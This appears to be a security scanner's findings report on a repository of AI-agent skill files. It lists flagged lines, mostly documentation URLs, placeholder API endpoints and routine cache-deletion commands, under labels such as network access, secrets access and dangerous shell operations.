    Read, Write, Edit, Glob, Grep, Bash

skills/team-collaboration-issue/resources/implementation-playbook.md

  • Access to secretsline 233
    [Credential-related source omitted]
  • Network accessline 451
    # Monitor for errors post-deployment curl -s https://api.example.com/health | jq .
  • Network accessline 452
    curl -s https://api.example.com/health | jq .

skills/telegram-automation/SKILL.md

  • Network accessline 23
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/telegram-bot-builder/SKILL.md

  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]

skills/telegram-mini-app/SKILL.md

  • Network accessline 43
    <head>   <meta name="viewport" content="width=device-width, initial-scale=1.0">   <script src="https://telegram.org/js/telegram-web-app.js"></script>
  • Network accessline 44
    <meta name="viewport" content="width=device-width, initial-scale=1.0">   <script src="https://telegram.org/js/telegram-web-app.js"></script> </head>
  • Network accessline 45
    <script src="https://telegram.org/js/telegram-web-app.js"></script>
  • Network accessline 95
    reply_markup: {       inline_keyboard: [[         { text: '🚀 Open App', web_app: { url: 'https://your-app.com' } }
  • Network accessline 96
    inline_keyboard: [[         { text: '🚀 Open App', web_app: { url: 'https://your-app.com' } }       ]]
  • Network accessline 97
    { text: '🚀 Open App', web_app: { url: 'https://your-app.com' } }
  • Network accessline 124
    function App() {   return (     <TonConnectUIProvider manifestUrl="https://your-app.com/tonconnect-manifest.json">
  • Network accessline 125
    return (     <TonConnectUIProvider manifestUrl="https://your-app.com/tonconnect-manifest.json">       <MainApp />
  • Network accessline 126
    <TonConnectUIProvider manifestUrl="https://your-app.com/tonconnect-manifest.json">
  • Network accessline 142
    {   "url": "https://your-app.com",
  • Network accessline 143
    "url": "https://your-app.com",
  • Network accessline 144
    "name": "Your Mini App",   "iconUrl": "https://your-app.com/icon.png" }
  • Network accessline 145
    "iconUrl": "https://your-app.com/icon.png"
  • Network accessline 209
    function ReferralShare() {   const { tg, user } = useTelegram();   const referralLink = `https://t.me/your_bot?start=ref_${user.id}`;
  • Network accessline 211
    const referralLink = `https://t.me/your_bot?start=ref_${user.id}`;
  • Network accessline 213
    const share = () => {     tg.openTelegramLink(       `https://t.me/share/url?url=${encodeURIComponent(referralLink)}&text=Check this out!`
  • Network accessline 214
    tg.openTelegramLink(       `https://t.me/share/url?url=${encodeURIComponent(referralLink)}&text=Check this out!`     );
  • Network accessline 215
    `https://t.me/share/url?url=${encodeURIComponent(referralLink)}&text=Check this out!`

skills/temporal-python-testing/resources/local-setup.md

  • Network accessline 46
    environment:       - TEMPORAL_ADDRESS=temporal:7233       - TEMPORAL_CORS_ORIGINS=http://localhost:3000
  • Network accessline 47
    - TEMPORAL_ADDRESS=temporal:7233       - TEMPORAL_CORS_ORIGINS=http://localhost:3000     ports:
  • Network accessline 48
    - TEMPORAL_CORS_ORIGINS=http://localhost:3000
  • Network accessline 68
    # Access Temporal Web UI open http://localhost:8080
  • Network accessline 69
    open http://localhost:8080
  • Dangerous shell operationline 417
    rm -rf .pytest_cache htmlcov .coverage
  • Network accessline 502
    # Access Web UI at http://localhost:8080

skills/temporal-python-testing/resources/replay-testing.md

  • Network accessline 126
    @workflow.run     async def run(self) -> dict:         response = requests.get("https://api.example.com/data")  # External call!
  • Network accessline 127
    async def run(self) -> dict:         response = requests.get("https://api.example.com/data")  # External call!         return response.json()
  • Network accessline 128
    response = requests.get("https://api.example.com/data")  # External call!

skills/terraform-skill/SKILL.md

  • Network accessline 6
    author: "Anton Babenko" version: 1.5.0 source: "https://github.com/antonbabenko/terraform-skill"
  • Network accessline 7
    version: 1.5.0 source: "https://github.com/antonbabenko/terraform-skill" risk: safe
  • Network accessline 8
    source: "https://github.com/antonbabenko/terraform-skill"

skills/theme-factory/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/threat-mitigation-mapping/resources/implementation-playbook.md

  • Network accessline 742
    - [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)
  • Network accessline 743
    - [CIS Controls](https://www.cisecurity.org/controls)
  • Network accessline 744
    - [MITRE D3FEND](https://d3fend.mitre.org/)

skills/threejs-skills/SKILL.md

  • Network accessline 2
    name: threejs-skills description: "Create 3D scenes, interactive experiences, and visual effects using Three.js. Use when user requests 3D graphics, WebGL experiences, 3D visualizations, animations, or interactive 3D elements." source: http
  • Network accessline 3
    description: "Create 3D scenes, interactive experiences, and visual effects using Three.js. Use when user requests 3D graphics, WebGL experiences, 3D visualizations, animations, or interactive 3D elements." source: https://github.com/CloudA
  • Network accessline 4
    source: https://github.com/CloudAI-X/threejs-skills
  • Network accessline 28
    import * as THREE from "https://cdnjs.cloudflare.com/ajax/libs/three.js/r128/three.min.js";

skills/tiktok-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/todoist-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/tool-design/SKILL.md

  • Network accessline 2
    name: tool-design description: "Build tools that agents can use effectively, including architectural reduction patterns" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/tool-design"
  • Network accessline 3
    description: "Build tools that agents can use effectively, including architectural reduction patterns" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/tool-design" risk: safe
  • Network accessline 4
    source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/tool-design"

skills/top-web-vulnerabilities/SKILL.md

  • Access to secretsline 424
    [Credential-related source omitted]

skills/trello-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/turborepo-caching/SKILL.md

  • Network accessline 68
    {   "$schema": "https://turbo.build/schema.json",
  • Network accessline 69
    "$schema": "https://turbo.build/schema.json",
  • Access to secretsline 71
    [Credential-related source omitted]
  • Network accessline 122
    // apps/web/turbo.json {   "$schema": "https://turbo.build/schema.json",
  • Network accessline 123
    {   "$schema": "https://turbo.build/schema.json",   "extends": ["//"],
  • Network accessline 124
    "$schema": "https://turbo.build/schema.json",
  • Network accessline 267
    [Credential-related source omitted]
  • Network accessline 268
    [Credential-related source omitted]
  • Network accessline 302
    {   "$schema": "https://turbo.build/schema.json",
  • Network accessline 303
    "$schema": "https://turbo.build/schema.json",
  • Dangerous shell operationline 365
    "clean": "turbo clean && rm -rf node_modules",
  • Network accessline 419
    - [Turborepo Documentation](https://turbo.build/repo/docs)
  • Network accessline 420
    - [Caching Guide](https://turbo.build/repo/docs/core-concepts/caching)
  • Network accessline 421
    - [Remote Caching](https://turbo.build/repo/docs/core-concepts/remote-caching)

skills/twilio-communications/SKILL.md

  • Access to secretsline 40
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 138
    [Credential-related source omitted]
  • Access to secretsline 139
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Access to secretsline 224
    [Credential-related source omitted]
  • Access to secretsline 274
    [Credential-related source omitted]
  • Access to secretsline 279
    [Credential-related source omitted]

skills/twitter-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/typescript-advanced-types/resources/implementation-playbook.md

  • Network accessline 713
    - **TypeScript Handbook**: https://www.typescriptlang.org/docs/handbook/
  • Network accessline 714
    - **Type Challenges**: https://github.com/type-challenges/type-challenges
  • Network accessline 715
    - **TypeScript Deep Dive**: https://basarat.gitbook.io/typescript/

skills/typescript-expert/SKILL.md

  • Network accessline 81
    - Use for: Critical domain primitives, API boundaries, currency/units - Resource: https://egghead.io/blog/using-branded-types-in-typescript
  • Network accessline 82
    - Resource: https://egghead.io/blog/using-branded-types-in-typescript
  • Network accessline 104
    // Use 'satisfies' for constraint validation (TS 5.0+) const config = {   api: "https://api.example.com",
  • Network accessline 105
    const config = {   api: "https://api.example.com",   timeout: 5000
  • Network accessline 106
    api: "https://api.example.com",
  • Network accessline 144
    2. Use `ReturnType<typeof function>` helper   3. Break circular dependencies with type-only imports - Resource: https://github.com/microsoft/TypeScript/issues/47663
  • Network accessline 146
    - Resource: https://github.com/microsoft/TypeScript/issues/47663
  • Network accessline 158
    - For more details: [Declaration Files Guide](https://www.typescriptlang.org/docs/handbook/declaration-files/introduction.html)
  • Dangerous shell operationline 180
    4. Try clearing cache: `rm -rf node_modules/.cache .tsbuildinfo`
  • Network accessline 414
    ### Performance - [TypeScript Wiki Performance](https://github.com/microsoft/TypeScript/wiki/Performance)
  • Network accessline 415
    - [TypeScript Wiki Performance](https://github.com/microsoft/TypeScript/wiki/Performance)
  • Network accessline 416
    - [Type instantiation tracking](https://github.com/microsoft/TypeScript/pull/48077)
  • Network accessline 418
    ### Advanced Patterns - [Type Challenges](https://github.com/type-challenges/type-challenges)
  • Network accessline 419
    - [Type Challenges](https://github.com/type-challenges/type-challenges)
  • Network accessline 420
    - [Type-Level TypeScript Course](https://type-level-typescript.com)
  • Network accessline 422
    ### Tools - [Biome](https://biomejs.dev) - Fast linter/formatter
  • Network accessline 423
    - [Biome](https://biomejs.dev) - Fast linter/formatter
  • Network accessline 424
    - [TypeStat](https://github.com/JoshuaKGoldberg/TypeStat) - Auto-fix TypeScript types
  • Network accessline 425
    - [ts-migrate](https://github.com/airbnb/ts-migrate) - Migration toolkit
  • Network accessline 427
    ### Testing - [Vitest Type Testing](https://vitest.dev/guide/testing-types)
  • Network accessline 428
    - [Vitest Type Testing](https://vitest.dev/guide/testing-types)
  • Network accessline 429
    - [tsd](https://github.com/tsdjs/tsd) - Standalone type testing

skills/typescript-expert/references/tsconfig-strict.json

  • Network accessline 1
    {     "$schema": "https://json.schemastore.org/tsconfig",
  • Network accessline 2
    "$schema": "https://json.schemastore.org/tsconfig",

skills/typescript-expert/references/typescript-cheatsheet.md

  • Network accessline 363
    // ✅ Use satisfies for validation const config = {   api: 'https://api.example.com'
  • Network accessline 364
    const config = {   api: 'https://api.example.com' } satisfies Record<string, string>
  • Network accessline 365
    api: 'https://api.example.com'

skills/typescript-expert/references/utility-types.ts

  • Executable scriptline 1
    Executable file

skills/typescript-expert/scripts/ts_diagnostic.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/ui-skills/SKILL.md

  • Network accessline 2
    name: ui-skills description: "Opinionated, evolving constraints to guide agents when building interfaces" source: "https://github.com/ibelick/ui-skills"
  • Network accessline 3
    description: "Opinionated, evolving constraints to guide agents when building interfaces" source: "https://github.com/ibelick/ui-skills" risk: safe
  • Network accessline 4
    source: "https://github.com/ibelick/ui-skills"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/ibelick/ui-skills).

skills/ui-ux-pro-max/SKILL.md

  • Dangerous shell operationline 113
    sudo apt update && sudo apt install python3

skills/ui-ux-pro-max/data/react-performance.csv

  • Network accessline 1
    No,Category,Issue,Keywords,Platform,Description,Do,Don't,Code Example Good,Code Example Bad,Severity 1,Async Waterfall,Defer Await,async await defer branch,React/Next.js,Move await into branches where actually used to avoid blocking unused 
  • Network accessline 2
    1,Async Waterfall,Defer Await,async await defer branch,React/Next.js,Move await into branches where actually used to avoid blocking unused code paths,Move await operations into branches where they're needed,Await at top of function blocking
  • Network accessline 3
    2,Async Waterfall,Promise.all Parallel,promise all parallel concurrent,React/Next.js,Execute independent async operations concurrently using Promise.all(),Use Promise.all() for independent operations,Sequential await for independent operati
  • Network accessline 4
    3,Async Waterfall,Dependency Parallelization,better-all dependency parallel,React/Next.js,Use better-all for operations with partial dependencies to maximize parallelism,Use better-all to start each task at earliest possible moment,Wait for
  • Network accessline 15
    14,Server,Parallel Fetching,parallel fetch component composition,React/Next.js,Restructure components to parallelize data fetching in RSC,Use component composition for parallel fetches,Sequential fetches in parent component,"<Header /><Side
  • Network accessline 16
    15,Server,After Non-blocking,after non-blocking logging,React/Next.js,Use Next.js after() to schedule work after response is sent,Use after() for logging/analytics,Block response for non-critical operations,"after(async () => { await logAct
  • Network accessline 17
    16,Client,SWR Deduplication,swr dedup cache revalidate,React/Next.js,Use SWR for automatic request deduplication and caching,Use useSWR for client data fetching,Manual fetch in useEffect,"const { data } = useSWR('/api/users', fetcher)","use

skills/ui-ux-pro-max/data/stacks/flutter.csv

  • Network accessline 1
    No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Widgets,Use StatelessWidget when possible,Immutable widgets are simpler,StatelessWidget for static UI,StatefulWidget for everything,class MyWidget extends Sta
  • Network accessline 2
    1,Widgets,Use StatelessWidget when possible,Immutable widgets are simpler,StatelessWidget for static UI,StatefulWidget for everything,class MyWidget extends StatelessWidget,class MyWidget extends StatefulWidget (static),Medium,https://api.f
  • Network accessline 3
    2,Widgets,Keep widgets small,Single responsibility principle,Extract widgets into smaller pieces,Large build methods,Column(children: [Header() Content()]),500+ line build method,Medium, 3,Widgets,Use const constructors,Compile-time constan
  • Network accessline 4
    3,Widgets,Use const constructors,Compile-time constants for performance,const MyWidget() when possible,Non-const for static widgets,const Text('Hello'),Text('Hello') for literals,High,https://dart.dev/guides/language/language-tour#constant-
  • Network accessline 5
    4,Widgets,Prefer composition over inheritance,Combine widgets using children,Compose widgets,Extend widget classes,Container(child: MyContent()),class MyContainer extends Container,Medium, 5,State,Use setState correctly,Minimal state in Sta
  • Network accessline 6
    5,State,Use setState correctly,Minimal state in StatefulWidget,setState for UI state changes,setState for business logic,setState(() { _counter++; }),Complex logic in setState,Medium,https://api.flutter.dev/flutter/widgets/State/setState.ht
  • Network accessline 7
    6,State,Avoid setState in build,Never call setState during build,setState in callbacks only,setState in build method,onPressed: () => setState(() {}),build() { setState(); },High, 7,State,Use state management for complex apps,Provider River
  • Network accessline 8
    7,State,Use state management for complex apps,Provider Riverpod BLoC,State management for shared state,setState for global state,Provider.of<MyState>(context),Global setState calls,Medium, 8,State,Prefer Riverpod or Provider,Recommended sta
  • Network accessline 9
    8,State,Prefer Riverpod or Provider,Recommended state solutions,Riverpod for new projects,InheritedWidget manually,ref.watch(myProvider),Custom InheritedWidget,Medium,https://riverpod.dev/
  • Network accessline 10
    9,State,Dispose resources,Clean up controllers and subscriptions,dispose() for cleanup,Memory leaks from subscriptions,@override void dispose() { controller.dispose(); },No dispose implementation,High, 10,Layout,Use Column and Row,Basic lay
  • Network accessline 11
    10,Layout,Use Column and Row,Basic layout widgets,Column Row for linear layouts,Stack for simple layouts,"Column(children: [Text(), Button()])",Stack for vertical list,Medium,https://api.flutter.dev/flutter/widgets/Column-class.html
  • Network accessline 12
    11,Layout,Use Expanded and Flexible,Control flex behavior,Expanded to fill space,Fixed sizes in flex containers,Expanded(child: Container()),Container(width: 200) in Row,Medium, 12,Layout,Use SizedBox for spacing,Consistent spacing,SizedBox
  • Network accessline 13
    12,Layout,Use SizedBox for spacing,Consistent spacing,SizedBox for gaps,Container for spacing only,SizedBox(height: 16),Container(height: 16),Low, 13,Layout,Use LayoutBuilder for responsive,Respond to constraints,LayoutBuilder for adaptive 
  • Network accessline 14
    13,Layout,Use LayoutBuilder for responsive,Respond to constraints,LayoutBuilder for adaptive layouts,Fixed sizes for responsive,LayoutBuilder(builder: (context constraints) {}),Container(width: 375),Medium,https://api.flutter.dev/flutter/wi
  • Network accessline 15
    14,Layout,Avoid deep nesting,Keep widget tree shallow,Extract deeply nested widgets,10+ levels of nesting,Extract widget to method or class,Column(Row(Column(Row(...)))),Medium, 15,Lists,Use ListView.builder,Lazy list building,ListView.buil
  • Network accessline 16
    15,Lists,Use ListView.builder,Lazy list building,ListView.builder for long lists,ListView with children for large lists,"ListView.builder(itemCount: 100, itemBuilder: ...)",ListView(children: items.map(...).toList()),High,https://api.flutte
  • Network accessline 17
    16,Lists,Provide itemExtent when known,Skip measurement,itemExtent for fixed height items,No itemExtent for uniform lists,ListView.builder(itemExtent: 50),ListView.builder without itemExtent,Medium, 17,Lists,Use keys for stateful items,Pres
  • Network accessline 18
    17,Lists,Use keys for stateful items,Preserve widget state,Key for stateful list items,No key for dynamic lists,ListTile(key: ValueKey(item.id)),ListTile without key,High, 18,Lists,Use SliverList for custom scroll,Custom scroll effects,Cust
  • Network accessline 19
    18,Lists,Use SliverList for custom scroll,Custom scroll effects,CustomScrollView with Slivers,Nested ListViews,CustomScrollView(slivers: [SliverList()]),ListView inside ListView,Medium,https://api.flutter.dev/flutter/widgets/SliverList-clas
  • Network accessline 20
    19,Navigation,Use Navigator 2.0 or GoRouter,Declarative routing,go_router for navigation,Navigator.push for complex apps,GoRouter(routes: [...]),Navigator.push everywhere,Medium,https://pub.dev/packages/go_router
  • Network accessline 21
    20,Navigation,Use named routes,Organized navigation,Named routes for clarity,Anonymous routes,Navigator.pushNamed(context '/home'),Navigator.push(context MaterialPageRoute()),Low, 21,Navigation,Handle back button (PopScope),Android back beh
  • Network accessline 22
    21,Navigation,Handle back button (PopScope),Android back behavior and predictive back (Android 14+),Use PopScope widget (WillPopScope is deprecated),Use WillPopScope,"PopScope(canPop: false, onPopInvoked: (didPop) => ...)",WillPopScope(onWi
  • Network accessline 23
    22,Navigation,Pass typed arguments,Type-safe route arguments,Typed route arguments,Dynamic arguments,MyRoute(id: '123'),arguments: {'id': '123'},Medium, 23,Async,Use FutureBuilder,Async UI building,FutureBuilder for async data,setState for 
  • Network accessline 24
    23,Async,Use FutureBuilder,Async UI building,FutureBuilder for async data,setState for async,FutureBuilder(future: fetchData()),fetchData().then((d) => setState()),Medium,https://api.flutter.dev/flutter/widgets/FutureBuilder-class.html
  • Network accessline 25
    24,Async,Use StreamBuilder,Stream UI building,StreamBuilder for streams,Manual stream subscription,StreamBuilder(stream: myStream),stream.listen in initState,Medium,https://api.flutter.dev/flutter/widgets/StreamBuilder-class.html
  • Network accessline 26
    25,Async,Handle loading and error states,Complete async UI states,ConnectionState checks,Only success state,if (snapshot.connectionState == ConnectionState.waiting),No loading indicator,High, 26,Async,Cancel subscriptions,Clean up stream su
  • Network accessline 27
    26,Async,Cancel subscriptions,Clean up stream subscriptions,Cancel in dispose,Memory leaks,subscription.cancel() in dispose,No subscription cleanup,High, 27,Theming,Use ThemeData,Consistent theming,ThemeData for app theme,Hardcoded colors,T
  • Network accessline 28
    27,Theming,Use ThemeData,Consistent theming,ThemeData for app theme,Hardcoded colors,Theme.of(context).primaryColor,Color(0xFF123456) everywhere,Medium,https://api.flutter.dev/flutter/material/ThemeData-class.html
  • Network accessline 30
    29,Theming,Access theme via context,Dynamic theme access,Theme.of(context),Static theme reference,Theme.of(context).textTheme.bodyLarge,TextStyle(fontSize: 16),Medium, 30,Theming,Support dark mode,Respect system theme,darkTheme in MaterialA
  • Network accessline 31
    30,Theming,Support dark mode,Respect system theme,darkTheme in MaterialApp,Light theme only,"MaterialApp(theme: light, darkTheme: dark)",MaterialApp(theme: light),Medium, 31,Animation,Use implicit animations,Simple animations,AnimatedContai
  • Network accessline 32
    31,Animation,Use implicit animations,Simple animations,AnimatedContainer AnimatedOpacity,Explicit for simple transitions,AnimatedContainer(duration: Duration()),AnimationController for fade,Low,https://api.flutter.dev/flutter/widgets/Animat
  • Network accessline 33
    32,Animation,Use AnimationController for complex,Fine-grained control,AnimationController with Ticker,Implicit for complex sequences,AnimationController(vsync: this),AnimatedContainer for staggered,Medium, 33,Animation,Dispose AnimationCont
  • Network accessline 34
    33,Animation,Dispose AnimationControllers,Clean up animation resources,dispose() for controllers,Memory leaks,controller.dispose() in dispose,No controller disposal,High, 34,Animation,Use Hero for transitions,Shared element transitions,Hero
  • Network accessline 35
    34,Animation,Use Hero for transitions,Shared element transitions,Hero for navigation animations,Manual shared element,Hero(tag: 'image' child: Image()),Custom shared element animation,Low,https://api.flutter.dev/flutter/widgets/Hero-class.h
  • Network accessline 36
    35,Forms,Use Form widget,Form validation,Form with GlobalKey,Individual validation,Form(key: _formKey child: ...),TextField without Form,Medium,https://api.flutter.dev/flutter/widgets/Form-class.html
  • Network accessline 40
    39,Performance,Use const widgets,Reduce rebuilds,const for static widgets,No const for literals,const Icon(Icons.add),Icon(Icons.add),High, 40,Performance,Avoid rebuilding entire tree,Minimal rebuild scope,Isolate changing widgets,setState 
  • Network accessline 41
    40,Performance,Avoid rebuilding entire tree,Minimal rebuild scope,Isolate changing widgets,setState on parent,Consumer only around changing widget,setState on root widget,High, 41,Performance,Use RepaintBoundary,Isolate repaints,RepaintBoun
  • Network accessline 42
    41,Performance,Use RepaintBoundary,Isolate repaints,RepaintBoundary for animations,Full screen repaints,RepaintBoundary(child: AnimatedWidget()),Animation without boundary,Medium,https://api.flutter.dev/flutter/widgets/RepaintBoundary-class
  • Network accessline 43
    42,Performance,Profile with DevTools,Measure before optimizing,Flutter DevTools profiling,Guess at performance,DevTools performance tab,Optimize without measuring,Medium,https://docs.flutter.dev/tools/devtools
  • Network accessline 44
    43,Accessibility,Use Semantics widget,Screen reader support,Semantics for accessibility,Missing accessibility info,Semantics(label: 'Submit button'),GestureDetector without semantics,High,https://api.flutter.dev/flutter/widgets/Semantics-cl
  • Network accessline 45
    44,Accessibility,Support large fonts,MediaQuery text scaling,MediaQuery.textScaleFactor,Fixed font sizes,style: Theme.of(context).textTheme,TextStyle(fontSize: 14),High, 45,Accessibility,Test with screen readers,TalkBack and VoiceOver,Test 
  • Network accessline 46
    45,Accessibility,Test with screen readers,TalkBack and VoiceOver,Test accessibility regularly,Skip accessibility testing,Regular TalkBack testing,No screen reader testing,High, 46,Testing,Use widget tests,Test widget behavior,WidgetTester f
  • Network accessline 47
    46,Testing,Use widget tests,Test widget behavior,WidgetTester for UI tests,Unit tests only,testWidgets('...' (tester) async {}),Only test() for UI,Medium,https://docs.flutter.dev/testing
  • Network accessline 50
    49,Platform,Use Platform checks,Platform-specific code,Platform.isIOS Platform.isAndroid,Same code for all platforms,if (Platform.isIOS) {},Hardcoded iOS behavior,Medium, 50,Platform,Use kIsWeb for web,Web platform detection,kIsWeb for web 
  • Network accessline 51
    50,Platform,Use kIsWeb for web,Web platform detection,kIsWeb for web checks,Platform for web,if (kIsWeb) {},Platform.isWeb (doesn't exist),Medium, 51,Packages,Use pub.dev packages,Community packages,Popular maintained packages,Custom implem
  • Network accessline 52
    51,Packages,Use pub.dev packages,Community packages,Popular maintained packages,Custom implementations,cached_network_image,Custom image cache,Medium,https://pub.dev/

skills/ui-ux-pro-max/data/stacks/html-tailwind.csv

  • Network accessline 1
    No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Animation,Use Tailwind animate utilities,Built-in animations are optimized and respect reduced-motion,Use animate-pulse animate-spin animate-ping,Custom @keyf
  • Network accessline 2
    1,Animation,Use Tailwind animate utilities,Built-in animations are optimized and respect reduced-motion,Use animate-pulse animate-spin animate-ping,Custom @keyframes for simple effects,animate-pulse,@keyframes pulse {...},Medium,https://tai
  • Network accessline 3
    2,Animation,Limit bounce animations,Continuous bounce is distracting and causes motion sickness,Use animate-bounce sparingly on CTAs only,Multiple bounce animations on page,Single CTA with animate-bounce,5+ elements with animate-bounce,High
  • Network accessline 4
    3,Animation,Transition duration,Use appropriate transition speeds for UI feedback,duration-150 to duration-300 for UI,duration-1000 or longer for UI elements,transition-all duration-200,transition-all duration-1000,Medium,https://tailwindcs
  • Network accessline 5
    4,Animation,Hover transitions,Add smooth transitions on hover state changes,Add transition class with hover states,Instant hover changes without transition,hover:bg-gray-100 transition-colors,hover:bg-gray-100 (no transition),Low, 5,Z-Index
  • Network accessline 6
    5,Z-Index,Use Tailwind z-* scale,Consistent stacking context with predefined scale,z-0 z-10 z-20 z-30 z-40 z-50,Arbitrary z-index values,z-50 for modals,z-[9999],Medium,https://tailwindcss.com/docs/z-index
  • Network accessline 7
    6,Z-Index,Fixed elements z-index,Fixed navigation and modals need explicit z-index,z-50 for nav z-40 for dropdowns,Relying on DOM order for stacking,fixed top-0 z-50,fixed top-0 (no z-index),High, 7,Z-Index,Negative z-index for backgrounds,
  • Network accessline 8
    7,Z-Index,Negative z-index for backgrounds,Use negative z-index for decorative backgrounds,z-[-1] for background elements,Positive z-index for backgrounds,-z-10 for decorative,z-10 for background,Low, 8,Layout,Container max-width,Limit cont
  • Network accessline 9
    8,Layout,Container max-width,Limit content width for readability,max-w-7xl mx-auto for main content,Full-width content on large screens,max-w-7xl mx-auto px-4,w-full (no max-width),Medium,https://tailwindcss.com/docs/container
  • Network accessline 10
    9,Layout,Responsive padding,Adjust padding for different screen sizes,px-4 md:px-6 lg:px-8,Same padding all sizes,px-4 sm:px-6 lg:px-8,px-8 (same all sizes),Medium, 10,Layout,Grid gaps,Use consistent gap utilities for spacing,gap-4 gap-6 ga
  • Network accessline 11
    10,Layout,Grid gaps,Use consistent gap utilities for spacing,gap-4 gap-6 gap-8,Margins on individual items,grid gap-6,grid with mb-4 on each item,Medium,https://tailwindcss.com/docs/gap
  • Network accessline 12
    11,Layout,Flexbox alignment,Use flex utilities for alignment,items-center justify-between,Multiple nested wrappers,flex items-center justify-between,Nested divs for alignment,Low, 12,Images,Aspect ratio,Maintain consistent image aspect rati
  • Network accessline 13
    12,Images,Aspect ratio,Maintain consistent image aspect ratios,aspect-video aspect-square,No aspect ratio on containers,aspect-video rounded-lg,No aspect control,Medium,https://tailwindcss.com/docs/aspect-ratio
  • Network accessline 14
    13,Images,Object fit,Control image scaling within containers,object-cover object-contain,Stretched distorted images,object-cover w-full h-full,No object-fit,Medium,https://tailwindcss.com/docs/object-fit
  • Network accessline 15
    14,Images,Lazy loading,Defer loading of off-screen images,loading='lazy' on images,All images eager load,<img loading='lazy'>,<img> without lazy,High, 15,Images,Responsive images,Serve appropriate image sizes,srcset and sizes attributes,Sam
  • Network accessline 16
    15,Images,Responsive images,Serve appropriate image sizes,srcset and sizes attributes,Same large image all devices,srcset with multiple sizes,4000px image everywhere,High, 16,Typography,Prose plugin,Use @tailwindcss/typography for rich text
  • Network accessline 17
    16,Typography,Prose plugin,Use @tailwindcss/typography for rich text,prose prose-lg for article content,Custom styles for markdown,prose prose-lg max-w-none,Custom text styling,Medium,https://tailwindcss.com/docs/typography-plugin
  • Network accessline 18
    17,Typography,Line height,Use appropriate line height for readability,leading-relaxed for body text,Default tight line height,leading-relaxed (1.625),leading-none or leading-tight,Medium,https://tailwindcss.com/docs/line-height
  • Network accessline 19
    18,Typography,Font size scale,Use consistent text size scale,text-sm text-base text-lg text-xl,Arbitrary font sizes,text-lg,text-[17px],Low,https://tailwindcss.com/docs/font-size
  • Network accessline 20
    19,Typography,Text truncation,Handle long text gracefully,truncate or line-clamp-*,Overflow breaking layout,line-clamp-2,No overflow handling,Medium,https://tailwindcss.com/docs/text-overflow
  • Network accessline 21
    20,Colors,Opacity utilities,Use color opacity utilities,bg-black/50 text-white/80,Separate opacity class,bg-black/50,bg-black opacity-50,Low,https://tailwindcss.com/docs/background-color
  • Network accessline 22
    21,Colors,Dark mode,Support dark mode with dark: prefix,dark:bg-gray-900 dark:text-white,No dark mode support,dark:bg-gray-900,Only light theme,Medium,https://tailwindcss.com/docs/dark-mode
  • Network accessline 23
    22,Colors,Semantic colors,Use semantic color naming in config,primary secondary danger success,Generic color names in components,bg-primary,bg-blue-500 everywhere,Medium, 23,Spacing,Consistent spacing scale,Use Tailwind spacing scale consis
  • Network accessline 24
    23,Spacing,Consistent spacing scale,Use Tailwind spacing scale consistently,p-4 m-6 gap-8,Arbitrary pixel values,p-4 (1rem),p-[15px],Low,https://tailwindcss.com/docs/customizing-spacing
  • Network accessline 25
    24,Spacing,Negative margins,Use sparingly for overlapping effects,-mt-4 for overlapping elements,Negative margins for layout fixing,-mt-8 for card overlap,-m-2 to fix spacing issues,Medium, 25,Spacing,Space between,Use space-y-* for vertica
  • Network accessline 26
    25,Spacing,Space between,Use space-y-* for vertical lists,space-y-4 on flex/grid column,Margin on each child,space-y-4,Each child has mb-4,Low,https://tailwindcss.com/docs/space
  • Network accessline 29
    28,Forms,Disabled states,Clear disabled styling,disabled:opacity-50 disabled:cursor-not-allowed,No disabled indication,disabled:opacity-50,Same style as enabled,Medium, 29,Forms,Placeholder styling,Style placeholder text appropriately,place
  • Network accessline 30
    29,Forms,Placeholder styling,Style placeholder text appropriately,placeholder:text-gray-400,Dark placeholder text,placeholder:text-gray-400,Default dark placeholder,Low, 30,Responsive,Mobile-first approach,Start with mobile styles and add b
  • Network accessline 31
    30,Responsive,Mobile-first approach,Start with mobile styles and add breakpoints,Default mobile + md: lg: xl:,Desktop-first approach,text-sm md:text-base,text-base max-md:text-sm,Medium,https://tailwindcss.com/docs/responsive-design
  • Network accessline 32
    31,Responsive,Breakpoint testing,Test at standard breakpoints,320 375 768 1024 1280 1536,Only test on development device,Test all breakpoints,Single device testing,High, 32,Responsive,Hidden/shown utilities,Control visibility per breakpoint
  • Network accessline 33
    32,Responsive,Hidden/shown utilities,Control visibility per breakpoint,hidden md:block,Different content per breakpoint,hidden md:flex,Separate mobile/desktop components,Low,https://tailwindcss.com/docs/display
  • Network accessline 39
    38,Cards,Card hover states,Interactive cards should have hover feedback,hover:shadow-lg transition-shadow,No hover on clickable cards,hover:shadow-xl transition-shadow,Static cards that are clickable,Medium, 39,Cards,Card spacing,Consistent
  • Network accessline 40
